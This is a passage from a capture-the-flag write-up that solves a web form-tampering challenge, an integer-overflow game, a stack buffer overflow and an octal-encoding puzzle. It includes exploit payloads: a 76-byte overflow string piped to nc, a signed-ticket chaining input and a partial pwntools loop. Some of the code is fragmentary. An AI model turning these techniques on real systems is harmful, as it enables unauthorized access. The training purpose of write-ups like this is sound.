# 10. Did you enjoy this quiz? (one word)

r = c.recvall().decode('utf-8').replace('\\n', '\n')


12. the-restaurant (50p)

  • Category: Misc, Web
  • Difficulty: Medium
  • Author: trupples

Time for you to brush up on your web skills and climb the Michelin star ladder!

Flag format CTF{sha256}

This challenge is comprised of 5 levels, each giving away a fragment of the flag. It can be solved by just using the browser and the inspect element functionality from Developer Tools.

Level -1. The first part of the flag is received by just submitting the form with the flag option selected.

Level 0. This time, the flag option is out of stock - the input field is disabled from HTML. This can be easily bypassed by using the inspect element option and removing the disabled attribute. Then, submitting the form with the Fruity Flag option returns the second part.

Level 1. For this level, the flag option is missing completely. In order to get the flag, I used inspect element again and edited one of the options, changing the input name and id from pensive-profiterol to flag. Submitting the form again returned the third part of the flag.

Level 2. The restaurant had a COVID related warning, stating the need of a ticket to pick-up the order. The same as above, the flag option was missing, but preparing a ticket for any other option allowed me to edit it in the next screen. Appending :flag to the strawberry-sundae value and submitting the ticket gave away the next part.

Level 3. The final and the most difficult level. There was an option to select Not The Flag LUL, but unfortunately it was a red-herring. This time, the restaurant introduced a signature for each order to make it impossible to change. To get the flag, a ticket needs to be generated for the name of flag, copy the result (ticket-for:flag:sig-4a4bd188f9), and this value used as a name on the previous image. The final payload used in the name field is ticket-for:ticket-for:flag:sig-4a4bd188f9:sig-eb7e00189c, where a new signature was generated for the previous flag's ticket.


13. bork-sauls (50p)

  • Category: Pwn
  • Difficulty: Easy
  • Author: edmund

You must beat the Dancer of The Boreal Valley to get the flag.

Flag format: ctf{sha256}

This challenge presents some kind of game and allows the player to chose from a predefined list of action - Roll, Hit, Throw Estus flask at the boss.

int __cdecl main(int argc, const char **argv, const char **envp)
  int v4; // [rsp+4h] [rbp-Ch]
  int v5; // [rsp+8h] [rbp-8h]
  unsigned int v6; // [rsp+Ch] [rbp-4h]

  init(*(_QWORD *)&argc, argv, envp);
  v6 = 100000;
  v5 = 0;
  puts("You enter the room, and you meet the Dancer of the Boreal Valley. You have 3 options.");
    puts("Choose: \n1.Roll\n2.Hit(only 3 times)\n3.Throw Estus flask at the boss (wut?)\n4.Alt-F4\n");
    __isoc99_scanf("%d", &v4);
    if ( v4 == 3 )
      v6 += 1999999;
    else if ( v4 > 3 )
      if ( v4 == 4 )
    else if ( v4 > 0 )
      if ( v5 <= 2 )
        v6 -= 30000;
    printf("Health: %d\n", v6);
  while ( (v6 & 0x80000000) == 0 );
  printf("Congratulations. Here's your flag: ");
  system("cat flag.txt");
  return 0;

This code runs in a loop unless a certain condition is met. Bitwise AND between the player's health value and 0x80000000 should return 0. As 0x80000000 is 2.147.483.648 in decimal and the int limit is 2.147.483.647, the program can be exploited by overflowing the player's health (v6 variable). For this purpose, I created a script that sends the 3rd action in a loop to increase the player's health by 1.999.999 each time.

from pwn import *

c = remote('', 30158)
r = c.recvuntil('Alt-F4\n\n')

while "ctf" not in str(x):
    r = c.recv()

Finally, I got the flag by getting out of the loop.


14. overflowie (50p)

  • Category: Pwn
  • Difficulty: Easy
  • Author: trollzorftw

This little app brags that is very secure. Managed to put my hands on the source code, but I am bad at pwn. Can you do it for me please? Thx.

Flag format: ctf{sha256}

This challenge entails a classic buffer overflow vulnerability, as the name also suggests. I got an ELF64 binary file which can be decompiled using IDA Pro and extract the following vulnerable code:

int verySecureFunction()
  char v1; // [rsp+0h] [rbp-50h]
  char s1; // [rsp+4Ch] [rbp-4h]

  puts("Enter the very secure code to get the flag: ");
  if ( strcmp(&s1, "l33t") )
    return puts("Told you this is very secure!!!");
  puts("Omg you found the supersecret flag. You are l33t ind33d");
  return system("cat flag.txt");

Here, it can be seen that the program uses gets to read user input in v1 and then compares another variable, s1, to l33t string. However, both variables are declared in consecutive order, which means they are placed on the stack one after the other and I can overwrite the value of s1 using v1 and the insecure function call to gets (which doesn't have any checks on string length).

The following payload exploits the program running on the remote host:

python2 -c 'print("A" * 76 + "l33t")' | nc 30987

The program then returns the flag using system(), as seen in the code above.


15. crazy-number (50p)

  • Category: Reverse Engineering
  • Difficulty: Easy
  • Author: T3jv1l

Hi edmund. I have some problem with this strange message (103124106173071067062144062060066070145144061071061064143065142146070143145064064060071071144061064066064067141065063143146063061061063146070145060062061060065071063146144071144066071061144145066067062064175). Can you help me to figure out what it is?

Format flag: CTF{sha256}

The challenge description presents a string made of numbers which suggest some encoding or algorithm applied. I used IDA Pro to reverse the program and noticed that it takes a string and formats it in octal using %03o modifier with sprintf.

_BYTE *__fastcall encrypt_function(__int64 a1, __int64 a2)
  _BYTE *result; // rax
  __int64 v3; // [rsp+0h] [rbp-20h]
  int v4; // [rsp+18h] [rbp-8h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v3 = a2;
  v5 = 0;
  v4 = 0;
  while ( *(_BYTE *)(v4 + a1) )
    sprintf((char *)(v3 + v5), "%03o", (unsigned int)*(char *)(v4++ + a1), v3);
    v5 += 3;
  result = (_BYTE *)(v5 + v3);
  *result = 0;
  return result;

Decoding the original string from octal to ASCII (using this website), I got the flag.


16. trivia (1200p)

  • Category: Misc
  • Difficulty: Entry Level
  • Author: Volf

The best secrets agents from D.O.D are being interviewed with some knowledge-based questions before having the technical tests, so are you ready?

This was just a warm-up challenge with questions about basic security concepts.

Answers coming soon!